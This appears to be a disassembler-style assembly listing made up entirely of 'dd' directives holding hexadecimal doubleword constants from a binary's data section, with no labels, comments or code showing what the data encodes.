		dd 4DDB8078h, 0D61B0780h, 5D110761h, 20FCB254h,	46BA66A8h
		dd 0BB80C00h, 0B77378EDh, 0CFAB079Bh, 0DFD42A06h, 0A034CD60h
		dd 5A39F329h, 0E98583DBh, 0F84705C2h, 309FFF44h, 29326D91h
		dd 12006561h, 0B77DBDF6h, 0E38C22h, 4AEE2D2h, 0ECEB71FCh
		dd 0AD3FD18h, 3994318h,	0A2F8501Ah, 67F7B160h, 0B0C4F0CDh
		dd 2A00A57Ah, 28F1C361h, 1FC03C58h, 80F34A70h, 9D90BC83h
		dd 6C00B788h, 70BD8AEh,	0F82AD447h, 6B4A008Ah, 4494C8DFh
		dd 5800634Dh, 0FA9FAD1Dh, 0DDB268h, 0E1AEC1AFh,	0F0E0DB0Eh
		dd 0C3EE2303h, 501F82C8h, 7936EF29h, 7049074Ah,	1072B96Ch
		dd 9AEC6DEFh, 0D6C09400h, 0E08DD8DDh, 0B8CD0009h, 0C7D9A30Ch
		dd 0AC035DF9h, 9A4A4C57h, 0D7F0A008h, 0D1E300F2h, 52023969h
		dd 0EB002945h, 97D2B7Ch, 13946B2Dh, 0B9D558h, 0D645AA72h
		dd 56008F4Ch, 7AEDE1A6h, 77CC7C7Eh, 0D3600B6Eh,	782751D1h
		dd 0C4773097h, 802C0DFDh, 888208AFh, 420BDE6Bh,	0E00E8FD4h
		dd 1846E553h, 7389854h,	0A081722h, 52F04071h, 1100DD77h
		dd 0AD736151h, 77222DEh, 0B6437FB9h, 644500C0h,	0B0B237F7h
		dd 700B3F2h, 98866A41h,	7941A8Dh, 0E050A373h, 6D005E82h
		dd 34D00B4Dh, 354FD400h, 0E923566Ah, 7337E1Eh, 0C14548A0h
		dd 519B27CFh, 824F1D70h, 7A265798h, 258BCFFh, 511242F7h
		dd 64C0A8E1h, 0E8E16865h, 5600E648h, 9EDF6E95h,	1E0C43h
		dd 363AD826h, 0D69C910Bh, 80A34115h, 6BF10094h,	0F9C0724Dh
		dd 4F1E399Eh, 0E300BC49h, 7E31BAC4h, 0E207B40Fh, 27AC8984h
		dd 3BDED430h, 4A800E5h,	39FAB309h, 0F504029Ah, 2B6E90AAh
		dd 68CFE880h, 21A72A07h, 25B0D4h, 2BF6C7E2h, 83B56322h
		dd 465B0A05h, 0CD0FB7Dh, 0E42754h, 7A3DC6C9h, 2D3BA923h
		dd 0D4981A17h, 774A900h, 262E5D0h, 0F9B411CAh, 74E86131h
		dd 17ABA25h, 81A0CC3Ah,	7E98EA3Bh, 808F2013h, 6B0EDA39h
		dd 0D9BB8181h, 318051B4h, 0B6204029h, 0F91D54B0h, 1500A0B3h
		dd 14B93AD5h, 0B423053Bh, 0D8BC41h, 3FDA701Ch, 4A7E94D7h
		dd 0FA30DC98h, 0F89E38B1h, 149298h, 6A30396Ch, 60418495h
		dd 0EB65B007h, 9E505BADh, 0A59CCBh, 2AC0A03Bh, 29BA8825h
		dd 23209F54h, 1D6738C3h, 81F6E28Eh, 49EE950Ch, 5CCAC53h
		dd 23272C38h, 0CACCC05Ch, 0D800EB4Ch, 8AB39F11h, 6099DCB1h
		dd 0B205310Fh, 410F5488h, 238C903Ah, 0E850B8C0h, 59F21BE6h
		dd 0AB00D815h, 54AE66B1h, 333EE406h, 34A71F17h,	0C2D849F0h
		dd 0D4B714A0h, 28CC027h, 0A2097A48h, 8029083Bh,	2444E85Dh
		dd 0A0EA034Ch, 3D45F275h, 73E56803h, 0C952DA7h,	5327C750h
		dd 20F2508h, 8047C5D7h,	0E926C803h, 5460C29Fh, 8081ADDEh
		dd 87E3457Eh, 7C4499E0h, 0C9A6C750h, 4BDB00D6h,	2271A954h
		dd 62327D3Dh, 134829E4h, 101522D4h, 1C89DE8Eh, 7227DA10h
		dd 0F4AAF612h, 4ABB7B00h, 3F8A1752h, 1A00020Eh,	2130B869h
		dd 330038CFh, 0FFEDC494h, 39A1017h, 0CBAAE611h,	75D8F862h
		dd 7D009935h, 375BB3ABh, 5820DFh, 0FBC0CFE3h, 732E2FA0h
		dd 31AF3C02h, 60EF7E0Dh, 4C117F5Ch, 0FA066C9Eh,	1936206Dh
		dd 0EE6B3F0Ah, 0F70C081Dh, 4A5229DBh, 4650004Ch, 576DE5DCh
		dd 41F5ED00h, 54D4DF96h, 0CE7A006Fh, 49D8B64Ch,	46077D16h
		dd 9A5F0E8Fh, 0B72AD20h, 0B10319CBh, 0FC63C0EDh, 0B400180Ch
		dd 0AD589EC4h, 0EB5157Eh, 0E0806D67h, 0B792B320h, 241FE1D0h
		dd 9EC0700Ch, 0A3EF8C3Eh, 307AB6h, 5D4CD250h, 0BEB280BDh
		dd 0A4AD9C24h, 748F1C80h, 7EA4F24h, 88FE7184h, 4CAB0146h
		dd 515BECD7h, 6C5EA900h, 0B26B2F68h, 37EB3C36h,	8A0FC281h
		dd 0C8A05C94h, 0C6046544h, 51C1BD69h, 0BBA398C0h, 2C16010Eh
		dd 6F66B53Bh, 9D8C407Ch, 2A05600Ch, 0EEE5913Dh,	1B0FA000h
		dd 7652C65Eh, 23623E3Ah, 99000F2h, 0E32FFD13h, 0E875E4ECh
		dd 94A75A00h, 34CEDFD2h, 0AF0900E1h, 8EAB5D7Bh,	849039C8h
		dd 713DD61Eh, 0CA6ACD81h, 0C440BBE2h, 18F9B1D7h, 11B9E36Fh
		dd 3A002DA8h, 51D88748h, 727CEAh, 0E1EE4065h, 436EA3F2h
		dd 24F289FEh, 0F09F3C28h, 4FF07A00h, 0B2A5250Ch, 611D02F2h
		dd 9F6A4B6Fh, 4CE0FCE2h, 0E730BD6Dh, 0EEA669B8h, 0BC8118EFh
		dd 0DECB21A9h, 46F79506h, 50CA666Eh, 2C96A040h,	1B4769Fh
		dd 877D23B8h, 4B2C2405h, 6C83380Eh, 9484C0EFh, 7925D1DFh
		dd 41EE0771h, 80933E53h, 3C023807h, 4F0C7200h, 0E5807730h
		dd 8C3A5040h, 39F4C9h, 0EFAC630Eh, 9B723421h, 0C7422F1Fh
		dd 9212BF80h, 76F86880h, 3C2B0326h, 0DFB7C5ADh,	0B58971C8h
		dd 9A1D9207h, 0D40D5C1h, 90A95641h, 365F00A8h, 138C57D8h
		dd 0CA014F83h, 1B77E8D2h, 3DF47594h, 94204862h,	0FEF68200h
		dd 0A24E21FAh, 0BA2E5E00h, 6AD143B6h, 8FF0084h,	40B7A3D7h
		dd 54602966h, 2C3B5A39h, 9C0D00F6h, 71B5F211h, 0AD33C885h
		dd 0D0C72070h, 0CFB0C626h, 0A3E06A11h, 0AFB56599h, 1B873EDCh
		dd 5B8091D1h, 140BF7h, 17782607h, 7A7E6EFBh, 3803C87Dh
		dd 0CB74C5C3h, 892EA8BDh, 6034596Ch, 3A089507h,	8A9C901Fh
		dd 0F2007B0Ah, 8F45BED8h, 0D5AEA8h, 0C65FFBD1h,	4BD06559h
		dd 0FAB8F500h, 290538D7h, 570700A5h, 905DB65Eh,	0D22C3CD8h
		dd 39D426h, 2C7A38Ch, 221E28h, 5E31EAAFh, 19A0AA4Ah, 0D0BA3E00h
		dd 7A3653DFh, 7FB60055h, 2A859ED5h, 3496B73Ah, 0DE6C4704h
		dd 0BF773091h, 0C576E4h, 657445EFh, 7A526342h, 0DE004C7Bh
		dd 78A9D9B3h, 0F030507h, 423CBB98h, 648F0AE2h, 93613840h
		dd 9CE65B01h, 0A8DCF692h, 9D9AAC40h, 0E11D00D7h, 8C09C1AFh
		dd 30C3630Dh, 0E78628E2h, 0C829D943h, 546EFEh, 1C07A91Bh
		dd 3003ACD5h, 0C8645101h, 9BC02A57h, 7055C084h,	2D971E25h
		dd 74A05700h, 4CC7F9E5h, 0E000C5Bh, 0C3BE4B55h,	35339A9Fh
		dd 0A04DF10Ch, 241772h,	33C0C2E5h, 0FDB7102Bh, 6760B600h
		dd 51340A8Dh, 0ADA0077Eh, 0ACD306h, 4D119F33h, 9E71617Ah
		dd 357E9701h, 0FA240EC8h, 54F3C850h, 0EBF4095Ah, 0FC204158h
		dd 834F804Bh, 0BC73D678h, 4000CA73h, 13AFC03Fh,	1AB45h
		dd 747062D1h, 11BE7191h, 0F1C1E200h, 819CDFD5h,	65AA00CDh
		dd 2CE3D76Eh, 5748DD69h, 58007B18h, 0A6BC4E49h,	521B9Ch
		dd 1E0D7025h, 59C9C3DAh, 6E21C414h, 0E6D300C0h,	0B0A45E11h
		dd 6674309Ah, 0DB01B950h, 6D0060EEh, 0FC7AA7ADh, 0FA181Ah
		dd 0B5F3DF2Dh, 9D314764h, 81FFB03Dh, 0C7FCCC06h, 28E8244Ch
		dd 0E7BC1EBFh, 85088FA4h, 0C2B40072h, 8AA8F039h, 3C66BB00h
		dd 1504C950h, 0B45A005Eh, 96586D01h, 0FD00FB88h, 3AE5D894h
		dd 9FA302h, 0F8C89CE4h,	0DCAFBFB3h, 0D5A12807h,	0AC0AA90h
		dd 3BDBE80Bh, 1280D972h, 68B05C5Ah, 0D8986D42h,	80852500h
		dd 891C8A18h, 60C10BD2h, 480066A3h, 71E4C301h, 947B7200h
		dd 399CA9A7h, 0FC96E697h, 1DD824E3h, 0A369000Ch, 40780B85h
		dd 47B4D700h, 0D9A2AC77h, 92FC0FCAh, 4C4056A9h,	2B1CC5Ah
		dd 0FD1CCF70h, 50CFA336h, 0A2CA405Dh, 1F318293h, 0D07802CCh
		dd 50E70025h
		dd 96EE0A5Eh, 0F24006Bh, 2C70F54Ah, 0E879A178h,	0D6ECE005h
		dd 0CC1F42A7h, 0EDFE3D80h, 578071Ah, 38392295h,	4618806Bh
		dd 0D4094574h, 0BA3D8h,	517AC2CEh, 0BBB2005Eh, 62A5E090h
		dd 0E3E4414Bh, 0C727C312h, 5F7E9804h, 49CF4241h, 48EAD853h
		dd 4CE4613h, 9C0990C0h,	0FA2127Eh, 0C90C80A0h, 1B126C52h
		dd 68416A68h, 0FF22ADC7h, 0BB5C064h, 217BC40h, 635368A0h
		dd 0A406CCB3h, 3AFDABF4h, 0DB042549h, 0E402097h, 96ADF4B4h
		dd 0FFFA8950h, 90BDB048h, 1B6033Ch, 1D69F954h, 51D69F93h
		dd 4A9B08C0h, 0C707A044h, 41224788h, 29F21C5Ah,	529E0CD0h
		dd 71F3999h, 23E14164h,	4D6C415Ch, 9F11DCFBh, 0E4042105h
		dd 2C019C1Bh, 31BA98C6h, 0C19A99E0h, 57217141h,	3C885034h
		dd 9F001EFDh, 0EF1DBA38h, 7337BC9Bh, 8C3501Fh, 392C9629h
		dd 1D66C3C2h, 19F5E28Fh, 88800CEFh, 9380D1CFh, 993B0F22h
		dd 19A0F6C6h, 5E9D58A5h, 71520400h, 0ED9B3668h,	3EB13C8h
		dd 31944013h, 27868CFFh, 0A2C77207h, 0EF27B64Bh, 0D70E58B0h
		dd 2FDA0105h, 51414EC8h, 6B7AD4B1h, 8022D93Bh, 154BF4Fh
		dd 0E6711561h, 7855006Eh, 6AAB4D8Ch, 30C010B9h,	9C622744h
		dd 9EC1DF3h, 0A89D0369h, 0E1D880C1h, 3D001565h,	902B5BE5h
		dd 38F67E3h, 6D05CA97h,	0FE00AB1Dh, 29C7ADBh, 0EB408h
		dd 81EB972Ah, 56E37D71h, 3F580F00h, 0E89F5B64h,	0A12C0055h
		dd 118DFC80h, 4500A9B1h, 2C179D6h, 23C40Ch, 0C801A11Ah
		dd 66F7A262h, 0D90058ECh, 6F3C647Dh, 5DAF274h, 0EE6D809h
		dd 0E2E8E215h, 0FA08FB9Ah, 18F60417h, 1045BFFDh, 775F7E10h
		dd 0D45B8404h, 6EE2CB1Ch, 0D79F98E0h, 44D03F40h, 0D362EF75h
		dd 22708E29h, 0DB22D6F3h, 4032573h, 4A7ACB28h, 380814D7h
		dd 84179072h, 0EB487BE1h, 946D484Eh, 86113CABh,	502F2878h
		dd 426C0D22h, 246008BFh, 14D03E69h, 0D36544F9h,	2A032284h
		dd 0D9082742h, 670841E0h, 2C5688CDh, 28507B94h,	8F51445h
		dd 7F12E782h, 89DDE110h, 4458088Fh, 22845328h, 0A344DB12h
		dd 49C60965h, 0F780BAF3h, 0A62E0C4Fh, 62560600h, 90255DB6h
		dd 0DC34008Bh, 4FBDF16Bh, 0FA0BBE74h, 905221A3h, 3EC4EFECh
		dd 0D6BA0ABAh, 7206B01h, 2CA3AAF5h, 0C4AE80F0h,	0C8DAEEh
		dd 0C2543F72h, 0E4F2DF19h, 4E6F8F00h, 0A685AE66h, 139003A7h
		dd 4CE1203Bh, 0FCDAA381h, 14036648h, 0B0BBAE61h, 0F85B18Fh
		dd 6B8070h, 5F1365C9h, 0AD071E2Eh, 61BBFF00h, 8F906D6Fh
		dd 2E51F9Ch, 5BC880E4h,	85D36C7h, 6D071FFAh, 0FE14B70Ah
		dd 0D60428F0h, 0EEA0B8CAh, 772A1CF0h, 5D5C80A2h, 8DBF2E9Ch
		dd 83494B98h, 91952D74h, 4460773Ch, 73610050h, 7521DDAEh
		dd 51067E30h, 537A520Dh, 77621h, 16236771h, 99E2A8C5h
		dd 0B8EEEA0Fh, 461DC125h, 0FEF82BD8h, 0F78E1F45h, 3226CB44h
		dd 3C52B412h, 819B5F00h, 76535510h, 0E77901F4h,	414DBDD9h
		dd 0A4687062h, 0A030602Dh, 7C1768D0h, 3E10B85Eh, 0CC00D30Dh
		dd 0C7817B98h, 0E737C2E0h, 88E2A07Fh, 8363E0A0h, 0F86E076Bh
		dd 0A079EBA7h, 0B18AB940h, 0D7CBB200h, 22E082C6h, 12CE007Eh
		dd 0B640BC51h, 0DC0E4BB0h, 56664Ch, 0A27BE578h,	0A8DA0650h
		dd 0C8B19245h, 818E9E00h, 28B9721Ah, 0F5C30778h, 0A00E4DDEh
		dd 575DDDEEh, 1D94CCF5h, 0BA263930h, 25EBC206h,	0ECA09A6Fh
		dd 42048C96h, 72DE261Eh, 92206025h, 773E170Bh, 17F89063h
		dd 0D4A5FE5Fh, 51377D07h, 3821B4D1h, 49C4B840h,	4A84774Fh
		dd 6F8AE84Eh, 11C23E28h, 201C87D6h, 0EE8073D0h,	4C93D400h
		dd 0D477FC1h, 2D3A3C3Fh, 8CC3D454h, 0A72B0902h,	0C074E410h
		dd 0FC6E7BBh, 0D837F1E0h, 9FFB4941h, 0E4642103h, 2C005CC7h
		dd 52052804h, 5BC6B6h, 0DC7D901Fh, 0C7AF4764h, 0E307AE76h
		dd 3F369AC5h, 1D0CE210h, 74A67D42h, 765408CEh, 0BE00B2BCh
		dd 0B70D077Bh, 5FF8F158h, 0FE730E30h, 0F30168BBh, 0E8242B38h
		dd 0C40AD34Eh, 0E803FAE6h, 16C50038h, 0A75B69E8h, 7E7200ECh
		dd 0FBABA17Ch, 9C0290BEh, 71FF64F9h, 7DF46139h,	9514402Bh
		dd 1AE3D0B2h, 0ED0487E0h, 0BD775066h, 0B0AE18D0h, 317001Dh
		dd 8F42F09Dh, 72003CC1h, 0A78ECE5Dh, 0D8656Eh, 9FE1741Eh
		dd 44E3FE9Bh, 4C76A00h,	465C2F2Ah, 0A6145C7Dh, 6B278C00h
		dd 8548B94h, 38F5A601h,	515DDE95h, 0A503F438h, 71BBEA66h
		dd 208A26C9h, 0CC71788Ch, 93552200h, 4E3717E1h,	34824042h
		dd 9B8B0602h, 400744FFh, 2A7600h, 5D855FB9h, 84468AAEh
		dd 0ADD54F00h, 5A913EE9h, 0D19400EBh, 2EE081F3h, 0CEE8E744h
		dd 8D394900h, 8BC75A0Bh, 4E730029h, 0DC3CD571h,	0F012191h
		dd 0A60C18EBh, 1C301EA5h, 6D6B0128h, 0B9BD84C2h, 0C182F48Ch
		dd 921D3Ah, 6370CB2Dh, 0E7DD76h, 0F8F45C31h, 611F8584h
		dd 595E7801h, 49B04E92h, 8815C850h, 0EC9D01B9h,	0FB890A1Ch
		dd 0C5CC7072h, 30290F00h, 0D97C4955h, 0FE5E446h, 3875CB4Eh
		dd 84B85720h, 870E25AAh, 6F36DDD6h, 49BC6510h, 0C1BC840h
		dd 420A22h, 0D0B9FA63h,	0D47F0414h, 2098B100h, 2AF6C375h
		dd 1606077Bh, 57712702h, 0B67930FAh, 0E9048A19h, 9E0A335Fh
		dd 437A880h, 4F7F3D36h,	0EC3AD600h, 58C3C693h, 0FE4BE00h
		dd 9D49F841h, 62B700FAh, 0B86D270Ch, 0C00E9587h, 6ECA53DDh
		dd 0EEE9C7h, 80A29F78h,	0C0700C4h, 682D5115h, 7C962A7Eh
		dd 0C266FE00h, 95347417h, 0EF644490h, 92014D98h, 438EC15h
		dd 30EC949Bh, 1F9F00A2h, 79250EB2h, 97032Bh, 1DD0950Ch
		dd 611B00F7h, 9059AB67h, 4A0FEBF0h, 7E0563CBh, 0B1038079h
		dd 442C749Ah, 9C0C97E1h, 6F000431h, 2EA110CCh, 0CDBF43h
		dd 97F1A0E1h, 4126BA5Fh, 8037DD2Fh, 7A1534C4h, 0E6D10908h
		dd 4C019764h, 309A6954h, 0ED0F7980h, 612ABBD7h,	0D05F7342h
		dd 0F8D7A8F1h, 41CCE0h,	0D201B2DBh, 6872BCA9h, 0E49E2D28h
		dd 4E207713h, 0F1B75423h, 9D40626h, 0FD160059h,	5F2A0B42h
		dd 0FA00071Ah, 38AD5BC7h, 19B2FBh, 5191821Dh, 0BBB7AF63h
		dd 6C003EFAh, 0F636CFD5h, 70C9538Eh, 7248026Dh,	0AFE3CDEBh
		dd 7E659840h, 80432F3Ah, 0CBD58E0Ch, 0E140519h,	5AF6784Bh
		dd 1182B980h, 16008D79h, 0B8AC92DDh, 1361EBDBh,	3E9F46h
		dd 2713ED4Ah, 29000636h, 88760EA5h, 269249FAh, 1FCAD20h
		dd 33487C18h, 0DE17FC3Ch, 414E6FE8h, 0F07DA482h, 1B47007Ch
		dd 0AD96A37Fh, 8F00ED73h, 29EF5AB7h, 9869F0A1h,	0D7E403E4h
		dd 22161C2Bh, 0B0C4AAB8h, 72F7DE00h, 2487AE84h,	0D66A0399h
		dd 0A3D8A033h, 0EFB39EB0h, 0B68A9400h, 89444B41h, 0CDFC0314h
		dd 0D9F5A15Eh, 0EB503AC8h, 2347022Fh, 0A0D5A5B8h, 0C8634Dh
		dd 91277994h, 0B1D0AB5Fh, 0B5397800h, 0E5F1A347h, 114B015h
		dd 0C5BEEA50h, 20BB460Bh, 281D747Ch, 6DC04BDDh,	0DC0FE0B7h
		dd 1C207AB0h, 0C18F071Dh, 6418BFD6h, 7E7FE49Ah,	0C9E3D200h
		dd 4D5771F8h, 7D870717h, 665DAE2h, 0D4023A2Bh, 19FE3CBDh
		dd 0F2FD01Ch, 36EFA76Dh, 7B481460h, 822C0903h, 0AC0E8022h
		dd 9669E13Ah, 0A4310788h, 0A028EAD8h, 0D4DAE6h,	0F357132h
		dd 82B9336h, 5F579400h,	0C5B3BFB7h, 0ACDC3A91h,	640B0976h
		dd 15851055h, 0D3CB801Ch, 0BF00CABDh, 0D05AB5A3h, 70F9FCh
		dd 0D2A81204h, 7D7EF19Fh, 0F8D78000h, 0F6F5D914h, 0CF0F003Dh
		dd 631E2EE5h, 5300BA51h
		dd 19EFD1D8h, 2C22F7E1h, 0FC2F1h, 4EFC5095h, 0F42880CAh
		dd 0E800FC60h, 12187FDBh, 0A6511Eh, 0FC0ABCC0h,	8B9A5876h
		dd 0BE952800h, 0DCAC31A2h, 0F26E0027h, 8620FBFEh, 570045BAh
		dd 8188D10h, 109D9329h,	0E3DD501h, 27530EDFh, 2F202D58h
		dd 764378Ah, 0D072F876h, 993BEE0h, 9900FE7Ch, 560DD76Ch
		dd 7A24C00h, 6DA6552h, 7E7C3F92h, 0B3422287h, 5C00DB1Eh
		dd 0B2BBBAA6h, 50570803h, 0A0D9E013h, 9835C060h, 38A80012h
		dd 28D5FE15h, 8C7CF871h, 0AC3CC201h, 66694998h,	77D426C0h
		dd 0C37004Bh, 7D581682h, 1100FE91h, 28E91B05h, 0E46CAF4Fh
		dd 55431CCDh, 0A2F64577h, 9AA8D06Fh, 0B6FEE916h, 0B8E4E500h
		dd 0A685457Eh, 74ECA3h,	1520DFB0h, 9EC99A54h, 25DAA900h
		dd 0CEFC98E0h, 77FA00D0h, 0C16270ECh, 5307BDF3h, 0E611C278h
		dd 244B7B01h, 0A8D40D2Eh, 35EC0038h, 38D6BA10h,	0C7A40E00h
		dd 17407C9h, 0D5087B79h, 303DC12Dh, 0E0008DA4h,	0A4645731h
		dd 24730282h, 2414D0EAh, 0CDA70084h, 0BE97F3C9h, 0C86D6100h
		dd 0F2C0ED13h, 0D501DDFh, 5EDEC021h, 886EBE56h,	0B9E4D009h
		dd 0B3A4839Ah, 0F70AA094h, 578A0083h, 1E100223h, 0A301AB45h
		dd 65534DDBh, 203819h, 0F22E072Bh, 937A03h, 7206A91h, 1A955F03h
		dd 946906h, 0C437CA29h,	566840EFh, 33F16607h, 0D7203D47h
		dd 0B42E7CEh, 1CFCB1DAh, 0B3C2FF00h, 9A09185Bh,	8BE817h
		dd 0FD619648h, 1A17D6Dh, 9C14073Dh, 30053B7Ah, 74701690h
		dd 651BD905h, 0B414D768h, 0A58D00B0h, 0A9D30F3Fh, 0ACC54816h
		dd 22AF0F71h, 40006893h, 49B4B0DEh, 4730320Fh, 1625019Eh
		dd 3A2EF1C8h, 6BBC8800h, 6B1D38C8h, 9FEBAE00h, 0D50AE226h
		dd 9AC4A1A2h, 0EDA1C20h, 3E4E8657h, 0CF06AFC1h,	0A85EFC97h
		dd 13239800h, 8E6C3D8Bh, 2410172h, 4DE9A32Fh, 8688064h
		dd 77FCAB37h, 53DA0B19h, 8C6076B9h, 140FBABDh, 4017E45Bh
		dd 7966E0C5h, 5D5500D7h, 0C115302h, 0B628285Ch,	0FB7FE8B3h
		dd 10BE8103h, 0A864C46Ah, 0DB5C73h, 3967E8FDh, 0EEFC8C50h
		dd 1EF8E007h, 2EB0A8C9h, 1026B65h, 0AECC0721h, 2C8ADCCFh
		dd 0A530028h, 35FBEFEEh, 0D87901C5h, 0CBB0F3CAh, 4481CCDDh
		dd 8F38BCB8h, 0F9FE81DCh, 0A1314D22h, 17643C8h,	67E329E1h
		dd 0DC574764h, 9302F661h, 0BAAB5E1Fh, 605EE5h, 72262279h
		dd 0CF057194h, 3ED8149Ah, 0DC508A9h, 0FD438098h, 0D800D605h
		dd 0B0CF041Ch, 0A669FEFh, 0EEB45891h, 276E02A0h, 4C03044h
		dd 8600B3FDh, 1A4F0185h, 127FA9h, 88144BF3h, 22745E0Fh
		dd 4A05806h, 78707BD6h,	42BF18E4h, 1FDB48BAh, 0EA356900h
		dd 157428F3h, 0E2A50550h, 80E191B4h, 0F6A6D380h, 104F207h
		dd 1CB00AC6h, 0A0808BFEh, 7525CDCh, 0A1895DA8h,	0D1E720B6h
		dd 903F99ACh, 0CF02F1C8h, 65A0E392h, 88DD63FCh,	16F4A884h
		dd 6E6C1Bh, 1FF7AC92h, 7B009D8Eh, 74FE14C7h, 0E07A8B8h
		dd 5A64121Ch, 0FB848803h, 3D1180F0h, 0DE7FCC98h, 2285B100h
		dd 0CE3FDF99h, 0BD900345h, 211E7403h, 0C856E2E0h, 57B14901h
		dd 0BE531430h, 886251CDh, 5DE1B502h, 72C01AE7h,	6E09A5B2h
		dd 80DFB147h, 4037E270h, 0D6FD00BCh, 0F4FFD95Ah, 0C91E5E05h
		dd 74464795h, 100711h, 0DFD34072h, 178450A4h, 70BEB46Bh
		dd 3AFC0061h, 4C600C9Bh, 4F247CC4h, 8B004066h, 28422DC8h
		dd 0CEFF0090h, 0BDE0BAE4h, 8479F773h, 7A48F379h, 0E69B001Ah
		dd 8E98FE42h, 76C7006Ah, 0FA6DD92Fh, 0FD0182EEh, 2D1AA96h
		dd 0C72E5490h, 970D20C8h, 0EA001440h, 438B1DDEh, 0B8137288h
		dd 30DF01BAh, 0D0E38910h, 0D382C07Eh, 229AC60h,	1DE02B2Ah
		dd 0CE5A9960h, 0B100DD77h, 6BD531D1h, 3D137E18h, 1452180h
		dd 0F7A85D40h, 0D037C079h, 130FB2D5h, 0C0FC8B1Eh, 0B5669EEBh
		dd 0BEF500D1h, 0C2165658h, 0A008009h, 0FC67EAB9h, 0CDE9A5h
		dd 0C60E43DDh, 17718172h, 598C611Eh, 0DE38Bh, 752B79CEh
		dd 0F6D100A8h, 0F57EADFh, 111DDB14h, 0B5C081F8h, 22C5EB52h
		dd 79E0001Dh, 424E366Fh, 6A00F5A1h, 0AC98062Dh,	68A882h
		dd 34BE3E29h, 263CA9B7h, 0A7A01B00h, 98B2DD1Ah,	0C73F0F56h
		dd 8E82C822h, 90EB48E4h, 30994DF9h, 0C126BCA4h,	6280FC3Ah
		dd 2AD1A96Eh, 42477DDh,	0F2C22884h, 3B3880E3h, 0D6018936h
		dd 407760Ch, 9DDC22C6h,	4FC209C0h, 0A080FAADh, 9831BB21h
		dd 5F2A6200h, 2CDBB469h, 0DAC30079h, 0EA1D7F54h, 0D700F69Fh
		dd 980A7DC1h, 0DD113Eh,	6AB6EBDEh, 35BA4540h, 28220430h
		dd 593BB2h, 1D29ED80h, 9B4958A2h, 0F43D0701h, 852F480Ch
		dd 44030A06h, 20EDCBDAh, 0AB821254h, 65B4A456h,	25790200h
		dd 0E8139B1Ah, 846F0C40h, 9430CC31h, 78C9D702h,	6051D88Eh
		dd 15AE453h, 3670249Ah,	68A1370Bh, 179B1CE4h, 0A6AE3AC3h
		dd 624CA1D6h, 0B20330h,	46FFA0C6h, 3540FD16h, 0C5E81FAh
		dd 3517400h, 133A8CC5h,	40040A27h, 8F6B3694h, 910BB359h
		dd 2009F378h, 56C979F8h, 467A3Ah, 2502EB88h, 987940Ah
		dd 0A283F200h, 9A921ADAh, 7F640019h, 2591EF0Fh,	709870CAh
		dd 0DD219C00h, 0CCF8A1C3h, 141300ACh, 64E03F4Bh, 0B11660D1h
		dd 78B43E45h, 25952C69h, 7E360024h, 0DB578D17h,	0C4C8EA00h
		dd 0FF430A21h, 9CE44Ah,	83EDC7CFh, 0D0869733h, 946F2B00h
		dd 7219BC48h, 0B9AB0312h, 82A33879h, 159995C0h,	0A5F62EFCh
		dd 432F9000h, 1C8E097Bh, 680B00F9h, 485C9F92h, 10E7EBBh
		dd 8006CCh, 0DA5BD9BEh,	0A51300F8h, 1B514E39h, 7C0005ECh
		dd 47B6BC4Ah, 68AADCh, 594BEA26h, 0AB29C40Fh, 7636D0A0h
		dd 8A04C2F2h, 0DB6020B1h, 0A54CF0h, 0F5A60611h,	0ED059B3Eh
		dd 8E413B02h, 0E8CEA41Fh, 0F470A2E8h, 0FEB40046h, 95BA2C94h
		dd 4E588B06h, 16653CD4h, 0B4E002F2h, 147E89h, 1FECCC66h
		dd 821D9175h, 0A8CAD13Fh, 7800A8C4h, 52C9E63h, 0ECEC6871h
		dd 0A17D0Fh, 0FB5806B3h, 0E9B80ABFh, 819C6D3Ch,	0F16E323Ch
		dd 0A643DD28h, 807C81B2h, 0A79DC8h, 0C3BDC11Fh,	0E56B90D5h
		dd 2C4F48h, 81FD1BE1h, 14E68F0h, 250FBF6Dh, 6A52511Ch
		dd 41EE340Fh, 3A54D2C3h, 0B005D83Dh, 0B9D8952Bh, 0A0900F4h
		dd 0A07B44B2h, 90965C7Eh, 55D8BF00h, 0EE2E5B8Fh, 49B8D612h
		dd 0E0A66C0Eh, 5DB7FFACh, 9900062h, 2C8352Fh, 70702729h
		dd 0DE51FB1Fh, 6E3D6540h, 1E7D23Fh, 0EA758FECh,	0CCA81915h
		dd 47149B0Ah, 1294C24Bh, 88C0728Dh, 1A1B4Fh, 0F0FF10E4h
		dd 3FCF8523h, 0BEB24D07h, 17E0E6B5h, 0D7328Ch, 8503FAD4h
		dd 0DBCEBCC8h, 0FD7A611Eh, 13098F01h, 802020DCh, 0C8040034h
		dd 3A39E9E8h, 0BF006229h, 932B01A3h, 0F36EC4h, 9C87205Ch
		dd 1A318583h, 47344A04h, 0C4C8F76Dh, 0F3701054h, 994F001Ch
		dd 0D718AD63h, 0FA3A1D48h, 0FB8580AAh, 0B2F75044h, 38F32300h
		dd 0F2C0033Bh, 35840259h, 2B8AAB3Ah, 0DA5D0461h, 700090D8h
		dd 0C750059Dh, 3F069BD5h, 96008793h, 0CCBC32E5h, 4707B54Ah
		dd 5B6248F0h, 0A5979CD1h, 3600F83Ch, 0B1F3798Dh, 0BD00F98Ch
		dd 91BB5BB3h, 9DD16CACh, 43BF1487h, 0B8B0032Dh,	88097ECDh
		dd 82523624h, 0C079443Ch, 2C19023Ch, 80845C0Dh,	0FD7520A2h
		dd 4961B5A7h, 0B302BF28h, 39ECC030h, 25006F78h,	4C6644Eh
		dd 2F4CDC58h, 88185017h, 290052EEh, 646C3EE5h, 1554DD8h
		dd 75F336C4h
		dd 7ABC2463h, 547D3000h, 970E276Ch, 51A84880h, 341C6845h
		dd 3C89FA57h, 647899h, 2BC43F1h, 50B4FBF8h, 1C5352h, 0B8607047h
		dd 1D9FD4BAh, 125CF6DFh, 87D00030h, 8C8D279Bh, 0DD071900h
		dd 0AE2F5A8Fh, 495103C0h, 2784FAFDh, 44567DEAh,	112C5800h
		dd 72FA29Dh, 9FEBACDFh,	8575C29Bh, 498A3B61h, 5C24F04Ch
		dd 11C26F01h, 2FA5651Eh, 53A84ADBh, 5F3F03ECh, 5CB0FF29h
		dd 69C057F6h, 0E0112DCAh, 0C0CD4F33h, 13EAA220h, 927CBC52h
		dd 0ED5A3460h, 939CA552h, 9A690070h, 90095C8Bh,	0B05D8805h
		dd 3C971497h, 0B54955E0h, 521D0176h, 0CFC7BD9Ah, 0A66880B3h
		dd 0C1436754h, 38EC00E0h, 0DB5DA861h, 1E780AD2h, 693D88h
		dd 7C9212FEh, 7F702985h, 23EE0A00h, 2582A9FCh, 28BE0Bh
